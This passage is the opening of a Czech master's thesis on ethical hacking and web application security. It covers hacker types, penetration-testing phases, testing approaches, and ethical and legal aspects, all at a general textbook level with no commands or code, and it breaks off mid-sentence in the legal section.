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Eticky hacking a ochrana webovych aplikaci

Abstrakt

Tato diplomova prace se zamétuje na problematiku etického hackingu, bezpecCnosti
webovych aplikaci a jejich ochranu pred riznymi formami utokd. Ma za cil navrhnout
a aplikovat testovaci scénare pro simulaci Gtokl na webovou aplikaci, nasledné porovnat
razné metody ochrany a doporuCit nejefektivnéjsi postupy zalozené na namétenych
vysledcich. Prace se rovnéz zaméfuje na analyzu rizik, jimz jsou uzivatelé¢ vystaveni,
a bezpecnostni opatfeni webovych aplikaci. V teoretické Casti jsou probirany pojmy, jako je
eticky hacking, typy hackerti, metody etického hackingu, a bezpecnostni hrozby webovych
aplikaci. Dale jsou popsany nastroje pro eticky hacking a technologie pro ochranu webovych
aplikaci.

Prakticka Cast prace zahrnuje tvorbu prostiedi pro testovani a vytvareni testovacich scénart.
Prostredi je postaveno na platformé Virtual Box s operatnim systémem Kali Linux. Pro
testovani jsou vyuzity volné dostupné nastroje pro eticky hacking, jako je Burp Suite,
Sqlmap a Commix. Provedené testy jsou detailn¢€ analyzovany a porovnany s cilem vybrat
nejlepsi postupy pro ochranu webovych aplikaci.

Vysledky prace poskytuji doporuCeni pro implementaci zvolenych postupi ochrany
a srovnani uc¢innosti utokt pied a po aplikaci téchto opatieni. Zavérecna Cast diskutuje

vysledky a navrhuje moznosti dalsiho vyzkumu v oblasti bezpecnosti webovych aplikaci.

Klicova slova: Eticky hacking, testovaci scénare, nastroje pro eticky hacking, webova
aplikace, virtualni prostfedi, Kali Linux, bezpecnost, hrozby, metodologie penetra¢niho

testovani, DVWA



Ethical hacking and web application protection

Abstract
This thesis focuses on the issues of ethical hacking, web application security and protection

against various forms of attacks. It aims to design and apply test scenarios to simulate attacks
on a web application, then compare different protection methods and recommend the most
effective approaches based on the measured results. The work also focuses on the analysis
of the risks to which users are exposed and the security measures of web applications. The
theoretical part discusses concepts such as ethical hacking, types of hackers, methods of
ethical hacking, and security threats to web applications. Tools for ethical hacking and
technologies for protecting web applications are also described.

The practical part of the work includes creating a testing environment and creating test
scenarios. The environment is built on the Virtual Box platform with the Kali Linux
operating system. For testing, freely available ethical hacking tools such as Burp Suite,
Sqlmap and Commix are used. The tests performed are analysed and compared in detail to
select the best practices for protecting web applications.

The results of the work provide recommendations for the implementation of the selected
protection practices and a comparison of the effectiveness of attacks before and after the
application of these measures. The final section discusses the results and suggests avenues

for further research in web application security.

Keywords: Ethical hacking, test scenarios, ethical hacking tools, web applications, virtual

environments, Kali Linux, security, threats, penetration testing methodology, DVWA
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1 Uvod

Rozvoj informacnich technologii a neustaly nartst pouzivani webovych aplikaci vytvari
zavaznou potiebu pro zajiSténi bezpecnosti téchto online platforem. S ristem komplexity
a sofistikovanosti utokd, jez jsou na tyto aplikace namifeny, se stava nezbytnym zkoumat
avyvijet metody ochrany, které zajisti integritu, divérnost a dostupnost informaci pro
uzivatele. Tato diplomova prace se zaméfuje na klicové aspekty bezpecnosti webovych
aplikaci, pficemz klade diraz na identifikaci rizik a naslednou implementaci testovacich
scénafu a ochrannych opatteni.

V teoretické casti prace jsou analyzovany zakladni koncepty etického hackingu, typy
hackeri a metody etického hackingu. Dale se prace vénuje bezpeCnostnim hrozbam
a potencionalnim rizikim spojenym s webovymi aplikacemi, stejné jako riznym zpasobtim
jejich ochrany. V ramci této Casti jsou rozebrany nastroje pro eticky hacking, které budou
v praktické Casti vyuzity pro provedeni penetracnich testd.

Prakticka Cast prace se soustedi na vytvareni prostiedi pro testovani a nasledné na aplikaci
testovacich scénart, které simuluji rizné formy utokt na webové aplikace. Vysledky téchto
testl budou nasledné analyzovany s cilem vybrat nejefektivnéjsi postupy pro ochranu
webovych aplikaci. V neposledni fad¢€ bude provedena komparace a zhodnoceni ucinnosti
jednotlivych testovacich scénaii a navrzenych ochrannych opatieni.

Tato prace pfinasi pohled na problematiku bezpecnosti webovych aplikaci a jejich ochrany,
poskytujici tak poznatky pro odvétvi informacéni bezpecnosti a vyzkum v oblasti etického

hackingu.
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2 Cil prace a metodika

2.1 Cil prace

Cilem diplomové prace je navrhnout testovaci scénafe pro utoky na webové aplikace,
provést nasledné porovnani riznych zptusobu ochrany a doporucit nejefektivnéjsi postupy
pro ochranu webovych aplikaci na zakladé naméfenych vysledkt. Prace se také zamétuje na
rizika, jimz jsou uzivatelé vystaveni, bezpecnost webli a webovych aplikaci a na volné
dostupné nastroje pro eticky hacking. Dil¢im cilem prace je aplikace testovacich scénait

a vyhodnoceni jejich ucinnosti pti ochrané proti témto ttoktm.

2.2 Metodika

Prace je rozdelena na teoretickou a praktickou c¢ast. V teoretické casti je provedena
komparace literarnich zdroji a je pouzita deskripcni metoda pro podrobné zachyceni
problematiky, kde jsou zahrnuty utoky a nastroje pro jejich provedeni, ochranné nastroje
a zpusoby ochrany. Tyto informace jsou nasledné aplikovany v praktické Casti. Zdrojem
informaci jsou védecké, odborné clanky a publikace, které se zaméiuji na dané téma.
V praktické Casti jsou pouzity metody pozorovani a méfeni provedenych ttokt a zptsobu
ochrany. Nasledné je provedena komparace vysledki ana zakladé nich jsou vybrany

nejvhodnéjsi testovaci scénare a postupy pro ochranu webovych aplikaci.
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3 Teoreticka vychodiska

3.1 Eticky hacking

Eticky hacking je proces, pii kterém se provadi posouzeni zabezpeceni organizace pomoci
technik podobnych tém, které pouzivaji hackefi. Jedna se ale o legalni Cinnost, ktera
vyzaduje schvaleni a autorizaci od dané organizace nebo osoby. (Coursera, 2023) Cilem
etického hackingu je wvyuzit taktik, technik a strategii kyberzloCinci k identifikaci
potencialnich slabych mist a posileni bezpecnosti organizace a ochrany dat. (Synopsys,
2023)

Osoby provadegjici eticky hacking jsou také znamé jako white-hat hackefi a maji opravnéni
a souhlas od organizace, do které se pokouseji proniknout. (Coursera, 2023) Metody
atechniky etického hackingu mohou zahrnovat penetraCni testovani, skenovani
zranitelnosti, testovani webovych aplikaci a dalsi. (Javatpoint, 2023) Naproti etickému
hacking je tu hacking, ktery je motivovan financnim ziskem, sabotazi, Spionazi nebo dal§imi

nelegalnimi aktivitami. (Sinha, 2017 str. 18)

3.1.1 Typy hackeru

V oblasti informacni bezpecnosti a kybernetiky rozliSujeme tfi hlavni typy hackera: hackery
black hat, white hat a grey hat. Tato barevna terminologie vychazi z touhy hackerti vymezit
se a odlisit eticky spravné hackery od téch nespravnych. Nejzasadnéjsi black hat a white hat
maji svij pavod ve westernovych filmech. (Shea, 2019)

Heroické a zaporné postavy byli obvykle snadno rozlisitelni podle barvy jejich kovbojskych
klobouku. StateCny a poctivy protagonisté Casto nosili bily klobouk, zatimco zaporné
postavy preferovaly tmavy ¢i Cerny klobouk. Tento koncept se postupem casu zakotvil v
SirSim kulturnim povédomi, a nakonec se objevil i v terminologii informacni bezpecnosti.

(Norton, 2018 stranky 10-11)

3.1.1.1 White Hat

Autorizovani hackefi neboli také white-hat hackefi, jsou pravé ti, co jsou v odvétvi
informacni bezpecnosti nazyvaji etickymi hackery. (Norton, 2018 str. 11) Eticky hacker
vyuziva své dovednosti a znalosti v oblasti hackingu k identifikaci zranitelnosti a slabych
mist v pocitaCovych systémech, sitich nebo aplikacich, aby pomohl spolecnostem zlepsit

jejich zabezpeceni pred utoky. (Terra, 2023) Zatimco vétSina neautorizovanych hackera se
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nefidi zakony ani opravnénimi k atokim na systémy, white hat hackefi se jimi fidi.
(Comptia, 2023) (Dvorakova, 2023)

Ocekava se od nich, ze se budou fidit etickym kodexem a zaroveni budou pfi své Cinnosti
dodrzovat stanovené zakony a pfistupova opravnéni. (Comptia, 2023) Obvykle jsou
najimani pfimo spole¢nostmi nebo klienty, aby testovali operacni systémy, hardware,
software a zranitelnosti siti. Pronikaji do systému, aby nasli zranitelna mista a spolecnosti
tak mohly své systémy opravit a zmirnit potencialni kybernetické hrozby. (Norton, 2018
stranky 11-12)

V ramci své role také provadé)i penetracni testy. Penetracni testy odhali slaba mista v siti
a otestuji jeji bezpeCnostni opatfeni. Muze také urcit, jak je zranitelna vaci utokim hackera.
(Froehlich, 2021) White hat hackefi hledaji zranitelnosti nebo exploity pouze tehdy, kdyz
jim to zakon dovoluje. Sviij vyzkum mohou provadét v softwaru s otevienym zdrojovym
kédem ataké v softwaru nebo systémech, které vlastni nebo k jejichz zkouméani byli
opravnéni, véetné produktl a sluzeb. Tyto typy programt odméiuji jednotlivce penézi za
odhaleni bezpecnostnich chyb. White hat hacketfi pln€ odhaluji vSechny nalezené
zranitelnosti spolecnosti nebo vlastnikova produktu, ktery je zodpovédny za opravu téchto
chyb, aby mohly byt problémy vyfeSeny diive, nez je zneuziji hackefi s jinymi umysly.

(Coursera, 2023)

3.1.1.2 Black Hat

Black hat hackefi jsou znamy pod pojmem , cracker. Je to neautorizovana osoba, ktera se
zamérné podili na ¢innostech narusujicich bezpecnost pocitatového systému, uzavieného
softwarového kodu ainformacnich siti. Hlavnim cilem hackera, ktery pracuje proti vili
vlastnika systému, je ziskat neopravnény piistup do cilového systému, pficemz jeho zaméry
sahaji od kradeze, zni¢eni informaci az po naruseni provozu systému, znemoznéni pfistupu
legitimnim uzivateliim nebo pfevzeti kontroly z osobnich divodi. Néktefi hackefi mohou
dokonce vyuzit své kontroly nad systémem k vydirani vlastnika pozadovanim vykupného
vyménou za vzdani se kontroly. (Norton, 2018 str. 11)

Neautorizovani hackefi mohou jednat na vlastni pést, jako soucast vétsi kyberzloCinecké
organizace nebo jménem nepiatelského narodniho statu. (Comptia, 2023) Vétsinou jsou
motivovani povesti, penéznim ziskem nebo Spionazi. Hacker je oznacen jako black hat bez
ohledu na to, zda své zamé&ry vnima jako Cestné. To znamena, ze i hackefi, ktefi se zapojuji

do hackerskych utokt ze socialnich nebo politickych divodd, jsou stale povazovani za black
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hat hackery, protoze jejich zamérem je zneuzit v§echny zranitelnosti, které objevi. Stejné tak
statem sponzorované hackerské aktivity provadéné nepratelskymi staty pro valecné ucely
spadaji do kategorie black hat bez ohledu na jejich odivodnéni nebo mezinarodni postaveni
jejich statu. (Norton, 2018 str. 12)

Neautorizovani hackefi jsou Casto pachateli mnoha vyznamnych uniki a zneuziti dat.
(Comptia, 2023) Vétsina z nich bézné€ pouziva k provadéni Gtokli na organizace malware,
socialni inzenyrstvi a taktiku odepifeni sluzby. Mohou také vypustit malware, ktery nici
soubory, drzi pocitace jako rukojmi nebo krade hesla, Cisla kreditnich karet a dalsi osobni

udaje. (Kaspersky, 2018)

3.1.1.3 Grey hat

Mezi autorizovanymi a neautorizovanymi hackery existuje dal§i typ hackert, ktery
predstavuje kombinaci obou skupin. Grey hat hackefi jsou jednotlivci, ktefi vyuzivaji
bezpecnostnich zranitelnosti k tomu, aby zvySili povédomi vefejnosti o existenci dané
zranitelnosti. Tito hackefi sice nemaji zlé umysly, které jsou obvykle pfipisovany
neautorizovanym hackerim, ale zaroven nemusi nutné€ dodrzovat eticky kodex, jak je tomu
u autorizovanych hackerd. (Comptia, 2023) Hacker, ktery nema povoleni vlastnika nebo
spravce systému, muze byt povazovan za neetického pfi hledani bezpecnostnich chyb.
Vénuji se neautorizovanému penetracnimu testovani, jehoz hlavnim cilem je upozornit
vlastnika na pfipadné nedostatky. Grey hat hackefi ¢asto pronikaji do systému, které sami
pouzivaji nebo vyuzivaji, aby posilili jejich bezpecnost a zabranili budoucim zasahtim ze
strany Skodlivéjsich aktért. (Norton, 2018 str. 12)

Mohou se rozhodnout soukromeé odhalit bezpecnostni zranitelnost spolenosti nebo vyrobci,
aniz by zvefejnili vysledky. Nicméné mnoho z nich vefejné€ vyuziva nalezenou zranitelnost
v hardwaru nebo softwarovych programech bez svoleni vyrobce, aby upozornili na tento
problém. V oblasti kybernetické bezpecnosti existuje Casty obav, ze kdyz grey hat hacker
zverejni zranitelnost, usnadiuje zaskodnickym hackerim kradez informaci a dat ze systému.

(Comptia, 2023)

3.1.1.4 Dalsi typy hackert

V historii kybernetické bezpecnosti doslo k nékolika pokusiim rozsifit tradi¢ni terminologii
oznacujici hackery podle barvy klobouku, aby Iépe reflektovala rizné skupiny s odlisSnymi

motivacemi a dovednostmi. Ackoli vétsina hackert je obvykle kategorizovana jako black
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hat, white hat nebo grey hat, v ramci odvétvi existuje mnoho dalSich nuancovanych typa
a subkategorii hackerti. (Buxton, 2022) V oblasti kybernetické bezpecnosti 1ze rozlisit fadu

raznych typu hackert, z nichz kazdy ma specifické motivace a cile. (Shea, 2019)

3.1.1.4.1 Red hat
Red hat hackefi vyuzivaji své expertni dovednosti k podpofe organizaci a jednotlivc v boji

proti kybernetické kriminalité¢. V komunité informacni bezpecnosti jsou red hat hackefi
znami jako , vigilanti“ neboli kyberneticti dozorci. (Trevino, 2023) Casto se stfetavaji
s hackery black hat a mohou proti nim zahgjit kybernetické akce s cilem odhalit a zvefejnit
jejich data a Cinnost. (Kim, 2018 str. 16) Na rozdil od hackert white hat, ktefi by obvykle
nahlasili nelegalni aktivity uradim, red hat hackefi Casto zahaji agresivni protittoky s cilem
zni¢it infrastrukturu a prostfedky black hat hackert. (Shea, 2019)

Red hat hackefi se fadi do takzvaného red teamu, kde se zamétuji na ofenzivni stranku
kybernetické bezpecCnosti. Jejich tkolem je utoCit na systémy a nasledné prolamovani
obrany. Po sérii simulovanych ttokdl tym vytvofi organizaci doporuceni, jak posilit

zabezpeceni systému a sité. (Praveen, 2023)

3.1.1.4.2 Green hat
Green hat hackefi jsou v oboru novacky a stale se u¢i v oblasti prinikového testovani

a hackingu. Prestoze jsou zacateCnici, prispivaji k diverzifikaci pohledi v oblasti
kybernetické bezpecnosti, zejména v ramci hackerti (Trevino, 2023) V porovnani s ostatnimi
kategoriemi hackerti nemaji takovou hloubku zkusenosti, ale projevuji silny zajem o dalsi
vzdélavani. (Shea, 2019)

I pfesto, ze jejich umysly nemusi byt zlomyslné, nedostatek znalosti mize vést
k neumyslnym skodam, pokud nejsou dodrzovana pfislusna bezpecnostni opatieni. Naopak,
jsou to amatérsti hackefi, ktefi se snazi vyuzit jiz existujicich skripti ve svych pokusech
o hackovani. Tito nezkusSeni hackefi Casto nerozumi plné€ nasledkim svych ¢inli ani tomu,

jak by mohli byt zneuziti Skodlivymi aktéry. (Privacysense, 2023)

3.1.1.4.3 Blue hat
Spolecnosti je Casto najimaji k identifikaci bezpeCnostni chyby v jejich systémech nebo

zranitelnosti v produktech, které jesté nebyly uvedeny na trh. Blue hat hackefi jsou podobni
white hat hackerim v tom, ze vyuzivaji své hackerské dovednosti, aby pomohli zlepsit
kybernetickou bezpecnostni infrastrukturu organizace. (Trevino, 2023) Konference

BlueHat, organizovana firmou Microsoft a ur€ena pouze pro pozvané, byla zfizena za
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ucelem podporovani komunikace mezi hackery a inzenyry. V ur€itych odbornych kruzich
muze byt blue hat hacker vniman jako ten, jehoz hlavni motivaci je pomsta. Blue hat hackefi
mohou byt podobni zacatecnikiim, tedy green hat hackerim, ale odliSuje je jejich primarni
motivace k pomsté, nikoli snaha o zdokonalovani svych dovednosti v oblasti hackingu.
(Shea, 2019)

Blue hat hacketi se ve skupiné fadi se do takzvaného blue teamu, ktery se naopak zaméfuje
na obranu pred kybernetickymi utoky a hrozbami. Pod tento tym spada Skoleni zameéstnancta
v oblasti kybernetické bezpecnosti, skenovani zranitelnosti sité, fizeni rizik a taktika

zmirfiovani nasledku. (Praveen, 2023)

3.1.2 Metodologie

Metodika etického hackingu popisuje postupy, nastroje a techniky pouzivané pii etickém
hackingu. Pti pfipravé na hackovani systému se utocnici fidi ur€itou metodikou. (Praveen,
2023) Metodika klade duraz na komplexni a systematicky pfistup, ktery je prizptsoben
konkrétnimu systému nebo prostiedi a zajistuje odhaleni a odstranéni potencialnich slabych
mist. (DianApps, 2019)

K dosazeni tohoto cile vyuzivaji eticti hackefi fadu nastroju, technik a osvédéenych postupi,

ptri¢emz Casto simuluji realné utoky, aby posoudili odolnost systému. (Tripathy, 2023)

3.1.2.1 Pruzkum a sbér informaci

Po obdrzeni vyslovného, smluvniho a pravniho souhlasu organizace nebo osoby muze zacit
pruzkumna ¢ast procesu. (Praveen, 2023) Ta zahrnuje shromazdéni co nejvice informaci
o cili pomoci riznych nastroji, které ma hacker k dispozici, véetné webovych stranek
spoleCnosti, internetového priizkumu, a dokonce i socialniho inzenyrstvi. (Sengupta, 2021)
Pruzkum je pfipravna faze, kdy hacker dokumentuje pozadavek organizace, zjistuje cenné
konfiguracni a piihlasovaci udaje systému a sonduyje sit€. Tyto informace jsou klicové pro
provedeni Utokt a zahrnuji: pojmenovaci konvence, sluzby v siti, servery zpracovavajici
pracovni zatéz v siti, adresy IP, jména a ptihlasovaci Udaje uzivateli pfipojenych k siti,
fyzické umisténi cilového pocitace a dalsi. (Singh, 2022 str. 22)

V procesu musi byt zahrnut rozsah penetra¢niho testu, shromazd’ovani informaci pomoci
vyhledavact nebo socialnich siti, techniky hackingu pomoci vyhledavace a zjisténi otiska
webovych stranek. (Singh, 2022 str. 22) Do shromazd’ovani informaci patii penetracniho

testovani 679, pod které spada shromazd’ovani informaci WHOIS, shromazdovani
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informaci o systému doménovych jmen (DNS), shromazd'ovani informaci o siti, a nakonec
socialni inzenyrstvi. Stejny postup by totiz pouzil uto¢nik pfi svém pokusu o naruseni

organizace. (Praveen, 2023)

3.1.2.2 Skenovani

V dalsi fazi skenovani se prechazi od pasivniho k aktivnimu shromazd’ ovani informaci tim,
ze se hledaji zpasoby, jak proniknout do sit€ a obejit v§echny zavedené systémy. (Praveen,
2023) Musi se provést nekolik krokd pro samotné skenovani. Nejprve je nutné provést
provéfovani sit€ pii kterém se zjiStuje pocet hostitelt v siti, skenovani portd za ucelem
zjisténi sluzeb, ,grabovani“ bannert cilovych operacnich systémua a portd, skenovani
zranitelnosti a vytvoreni sitové topologie cilové sité. (Singh, 2022 str. 22)

Do skenovani se zahrnuje shromazd'ovani informaci o vSech strojich, uzivatelich a sluzbéach
v siti pomoci automatizovanych skenovacich nastroju. Pii penetratnim testovani se obvykle
provadéji tfi typy skenovani: (Sengupta, 2021)

a) Mapovani sité — Jedna se o zjistovani topologie sité, vcetné informaci o hostitelich,
serverech, smérovacich a firewallech v ramci hostitelské sité. Po zmapovani mohou
white hat hackefi vizualizovat a strategicky planovat dalsi kroky procesu etického
hackingu. (Sengupta, 2021)

b) Skenovani portd — Eticti hackefi pouZzivaji automatizované nastroje k identifikaci
vSech otevienych porta v siti. Jedna se tak o Gcinny mechanismus, ktery umoziuje
vyjmenovat sluzby a zivé systémy v siti a zpusob, jak stémito komponentami
navazat spojeni. (Sengupta, 2021)

c) Skenovani zranitelnosti — Pouziti automatizovanych nastroji k odhaleni slabych
mist, ktera mohou byt zneuZita k organizovani utokd. (Sengupta, 2021)

Mezi popularni nastroje etického hackingu, které se bézné pouzivaji ve fazi skenovani patfi
napiiklad SNMP Sweepery, provéfovani pomoci pingu, mapovace sité, skenery zranitelnosti

a dalsi. (Sengupta, 2021)

3.1.2.3 Zneuziti (ziskani pfistupu)

Nasleduje treti faze, béhem které hacker ziska pfistup k cili, zjisti, kde se nachazeji rizné
zranitelnosti, a vyhodnoti, jak velké skody by mohl zputsobit, kdyz uz ma pfistup. (Praveen,
2023) Tteti faze zahrnuje pokus o odeslani skodlivé zatéze do aplikace prostfednictvim sit€,

prilehlé podsité nebo fyzicky pomoci piipojeného pocitace. (Sabih, 2018 str. 52) Hackefi
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obvykle pouzivaji mnoho hackerskych nastroji a technik k simulaci pokusti o neopravnény
pristup, vCetné naptiklad: phishing, utoky typu injection, zpracovani externich entit XML,
pouzivani komponent se znamymi zranitelnostmi a dal§i. (Sengupta, 2021)

Pokud jsou utoky uspé$né, hacker ziskd kontrolu nad celym systémem nebo jeho casti
a muze simulovat dalsi utoky, jako je naruSeni dat a distribuované odepieni sluzby (DDoS).
(Sengupta, 2021) Ziskani pfistupu do sité/systému, 1ze dosahnout né€kolika zptsoby jako je
socialni inzenyrstvi, shoulder surfing (surfovani pies rameno), rizné utoky na hesla, sniffing
site, utoky typu Man-in-the-Middle (MiTM), pouzivani rizné techniky ke zneuziti cilovych
systému a k ziskani pfistup pres piikazovy fadek. A ty vedou ke zneuZiti sluzeb, objevovani
dalSich zafizeni a ke zvySeni opravnéni v napadeném systému nebo siti. (Singh, 2022 str.

23)

3.1.2.4 Post-exploatace (udrzovani pfistupu)

Ctvrta faze procesu etického hackingu zahrnuje procesy, které hackefi pouzivaji pro zajisténi
pfistupu k aplikaci pro budouci pouziti. White-hat hacker prabézné€ zkouma systém na dalsi
zranitelnosti a posouva opravnéni tak, aby pochopil, jak velkou kontrolu mohou utocnici
ziskat, jakmile projdou bezpecnostnim provétrenim. (Sengupta, 2021) Neéktefi utocnici se
také mohou snazit skryt svou identitu tim, ze odstrani dikazy o Utoku a nainstaluji zadni
vratka pro budouci pfistup. (Grimes, 2017 str. 29) Lze tedy predpokladat, ze primeérny
utoCnik neni hned uvnitf a neni hned venku. Jakmile se néjakému uto¢nikovi podaii uspésné
proniknout do sit€ nebo systému, zistava tam co nejdéle. (Praveen, 2023)

Aby se tedy hackeri vyhnuli jakymkoli dikazim, které vedou zpét k jejich Skodlivé Cinnosti,
provadéji ukoly, které vymazou v§echny stopy po jejich Cinnosti. Mezi né patii odinstalovani
skriptd a aplikaci pouzivanych k provadéni utokd, uprava hodnot registru, vymazani
protokolt a odstranéni slozek vytvorenych béhem atoku. (Sengupta, 2021) Od normalniho
vloupani se tato faze moc nelisi, nebot’ pachatel mize vénovat Cas tomu, aby odstranil
veskeré dukazy o svém Cinu. V této fazi bude hacker hledat jakékoli stopy po své Cinnosti
a odstrafiovat je. (Praveen, 2023) Hackefi, ktefi si cht&ji zachovat nepozorovany pfistup,
maji tendenci skryvat svou identitu pomoci technik, jako jsou napfiklad takzvané tunelovani.

(Sengupta, 2021)
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3.1.2.5 Poskytnuti zavérecné zpravy

V posledni Casti eticky hacker shroméazdi vSechny poznatky ziskané beéhem svého ukolu a
poda o nich organizaci zpravu, véetné doporucenti, jak se vyhnout budoucim bezpecnostnim
incidentim. (Praveen, 2023) Nedilnou soucasti je tedy vypracovani zpravy a predani
vysledkd. Musi byt vytvoren oficialni dokument, ve kterém jsou uvedeny informace. A to
vSechny zranitelnosti nalezené na cilech, v§echna rizika, rozd€lena do kategorii na stupnici
vysoka, stfedni a nizka, kalkuldtor CVSS (Calculator Vulnerability Scoring System)
a doporucené metody napravy a zmirnéni zjisténych zranitelnosti. (Singh, 2022 str. 680)

ZaveéreCnou zpravu je nutné napsat tak, ze ji pochopi kazdy, kdo si ji pfecte vCetné
netechnického publika, jako je vrcholovy management a vedouci pracovnici ¢leny. Zprava
by méla obsahovat informace v poradi titulni list, shrnuti, shrnuti zranitelnosti, podrobnosti
o testech, nastroje pouzité pfi testovani, ptuvodni rozsah prace, hlavni ¢ast zpravy. (Singh,

2022 str. 681)

3.1.3 Typy etického hackingu

Eticti hackefi vyuzivaji k posouzeni bezpecnosti digitalni infrastruktury spolecnosti Sirokou
Skalu odbornych znalosti a riznych nastroju a strategii. Operace kybernetické bezpecnosti

Casto vyuzivaji typy etického hackingu. (Kanumilli, 2022)

3.1.3.1 Black-box testovani

Pii black-box testovani hacker o systému pfedem nic nevi. Misto toho testuje software
zvenci a poté se do systému dostane pomoci hrubé sily. (Poston, 2020) Tento typ etického
hackingu je jednim z nejnebezpecnéjSich v oblasti kybernetické bezpecnosti, protoze se
pouziva také k identifikaci bezpe€nostnich mezer v siti nebo systému, které by mohl atocnik
vyuzit. aby mohli spachat trestné Ciny. (Kanumilli, 2022)

Black-box testovani lze vyuzit naptiklad k ovéfeni piihlaseni uzivatele, k prochézeni profilu
uzivatele, zmén¢ hesla a dalsi. Navrh takového testu nevyzaduje znalost kodu aplikace.

(Kanumilli, 2022)

3.1.3.2 White-box testovani

White-box testovani je proces, pii kterém hacker disponuje kompletnimi znalostmi
o systému, vcetn¢ jeho vnitiniho fungovani a potencialnich zranitelnosti, a pokousi se

o prunik do néj. (Poston, 2020) Vyvojafi ¢asto vyuzivaji white-box testovani k tomu, aby
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oveétili funkEnost svych systému pii zat€zi pred jejich nasazenim do produkéniho prostiedi.
Informace o internim déni organizace jsou koordinovany s IT oddélenim a dodrzuji se
stanovena pravidla. (Kanumilli, 2022)

Prijimaji se také opatfeni s cilem zabranit neopravnénému pristupu hackert do firemni site.
(Kanumilli, 2022) White-box testovani zahrnuje i revizi navrhu, kontrolu kédu, analyzu toku

dat a ovéfeni, zda jsou splnény stanovené pozadavky. (Poston, 2020)

3.1.3.3 Grey-box testovani

Hybrid mezi testovanim white-box a black-box, pfi kterém ma tester urcité, ale ne Uplné
znalosti systému a musi pouzit deduktivni uvazovani a technické znalosti, aby odhalil
bezpecnostni chyby v cilovém systému nebo siti. (Kanumilli, 2022) Grey hat hackefi
vyuzivaji své znalosti k dobrym i §patnym ucelim, naptiklad kdyz pomoci pocitatovych
vira kradou penize z bank a jinych podnika. (Poston, 2020)

Mezi grey-box testovani patii testovani pouzitelnosti nebo vykonu. (Poston, 2020) Znalost
toho, jak dobfe bude vase aplikace fungovat i v realnych podminkach, je zasadni pro jeji

uspésny vyvoj a tato metoda v tom muze pomoci. (Kanumilli, 2022)

3.1.3.4 Vniknuti do webové aplikace

Nabourat se do webové aplikace znamena vyuzit jeji bezpeCnostni nedostatky. K vytvareni
webovych aplikaci se nejcastéji pouzivaji jazyky HTML, CSS a JavaScript, PHP a dalsi.
Vzhledem ke zpusobu, jakym webové prohlizeCe tyto jazyky Ctou, je mozné vydavat se za
opravnéného uzivatele a provadét na webu urcité ¢innosti. (Kanumilli, 2022)

Webové aplikace, sdilené pres sit’ jako je napfiklad internet a ¢asto zalozené na prohlizeci,
mohou byt zranitelné vaci ttoktim skriptd. (Skillmea, 2021) Ptikladnym ttokem je Cross-
site scripting (XSS), ktery modifikuje HTML webové stranky tak, aby obsahoval skodlivy
obsah. Pfi dobfe provedeném utoku XSS muze byt §patna osoba také schopna prevzit relaci

prohlizece obéti se serverem, aniz by ziskala jeji prihlasovaci udaje. (Kanumilli, 2022)

3.1.3.5 Zneuziti bezdratové sité

V tomto typu se vyuzivaji bezpecnostni diry v systému pro ziskani pfistupu do pocitacové
sité bez povoleni. Pouziva se pro to technika zndma jako wardriver, pfi niz Gtocnik jezdi po
otevienych nebo nedostatecné chranénych bezdratovych sitich pomoci notebooku nebo

jiného zafizeni schopného zachytit bezdratovy signal. (Kanumilli, 2022)
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Vyuziti bezdratovych siti je dalSim aspektem etického hackovani, ktery se zamétfuje na
detekci a eliminaci potencialnich zranitelnosti v bezdratovém prostfedi. Tato oblast je Casto
vyhledavana utoCniky z divodu existujicich slabych mist, ktera mohou umoznit
neopravnény piistup. Tyto slabiny mohou byt zplisobeny Spatnou konfiguraci sité,

nedostateCnym Sifrovanim a pouzitim zastaralych bezpe¢nostnich protokold. (Rau, 2023)

3.1.4 Etika a pravni aspekty

Hacking se stal celosvétovou kybernetickou kriminalitou a obtézuje narody v oblasti
bezpeCnosti, naruseni bezpecnosti dat, finanCnich naruseni, podvodid atd. Neetické
hackerstvi je v ofich kazdého naroda jednoznacné trestnym cCinem. Na celém svété byly
vytvofeny rizné pravni predpisy a zakony, které chrani prava jednotlivce ve virtualnim svéte

a které musi eticky hacker dodrzovat. (Shukla, 2019)

3.1.4.1 Etika

1. Dodrzovani predpist: Organizace musi respektovat platné zakony a predpisy
tykajici se ochrany dat, soukromi a dusevniho vlastnictvi. Naptiklad v USA je
dilezité dodrzovat zakon o pocitacovych podvodech a zneuziti (CFAA), ktery
tresta neopravnény pristup k pocitacim. V Evropské unii je pak dualezité
dodrzovat obecné nafizeni o ochrané osobnich udaji (GDPR) a zakon o ochrané
soukromi v elektronickych komunikacich (ECPA). (Gillam, 2023)

2. Odpovédnost: Organizace musi zvazit potencialni odpovédnost spojenou
s penetracnim testovanim, vcetné moznych Skod zplisobenych testovanim
a realnych dusledka pro systémy. Je tieba najimat kvalifikované a duvéryhodné
penetracni testery a zajistit pojistné kryti pro ptipadnou odpovédnost. (Gillam,
2023)

3. Dokumentace: Organizace musi vést podrobnou dokumentaci o penetra¢nim
testovani, vCetné¢ rozsahu, metod a vysledkd. Tato dokumentace slouZzi
k prokazani profesionalniho postupu organizace a splnéni pravnich pozadavki.
Dukladna dokumentace mize pomoci organizacim minimalizovat potencialni
odpovédnost a prokazat nalezitou péci v pfipade naruseni bezpecnosti. (Gillam,

2023)
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3.1.4.2 Pravni aspekty

Pravni aspekty hackingu se neustale vyviji, naptiklad evropsky parlament ratifikoval nové
legislativni akty, oznaCované jako smérnice NIS2, s cilem zesilit kybernetickou bezpecnost
ve strategickych sektorech v ramci Evropské unie. Tato smérnice rozSifuje spektrum
odvétvi, jez podléhaji jejim nafizenim, zahrnujic sektory energetiky, dopravy, bankovnictvi,
zdravotni péce a digitalni infrastruktury. Déle stanovuje pro Clenské staty EU pfisnéjsi
regulacni povinnosti v oblasti kybernetické bezpecCnosti a intenzifikuje spolupraci mezi
nimi. Evropska unie rovnéz vypracovava Legislativni akt o kybernetické rezilientnosti, jenz
definuje bezpecnostni normy pro digitalni produkty, a Legislativni akt o digitalni operativni
rezilientnosti, jehoz primarnim ucelem je ochrana finanéniho sektoru pred kybernetickymi
hrozbami. (European Parlament, 2023)

V globalnim kontextu Evropsky parlament nabizi komplexni pravni ramec v oblasti
hackingu, primarné zaméfeny na aktivity vynucovacich organt. (Gutheil, a dalsi, 2017) Tato
pravidla ovliviiuji formovani politik kybernetické bezpecnosti v mnoha zemich. (Mishra,
2022) Ackoliv eticky hacking je klicovym prvkem v oblasti kybernetické bezpecnosti, je
nezbytné nalézt rovnovahu mezi bezpecnostnimi pozadavky a pravnimi omezenimi. Rizné
staty proto upravuji svou legislativu tak, aby bylo zajisténo, Ze tato praxe je provadeéna
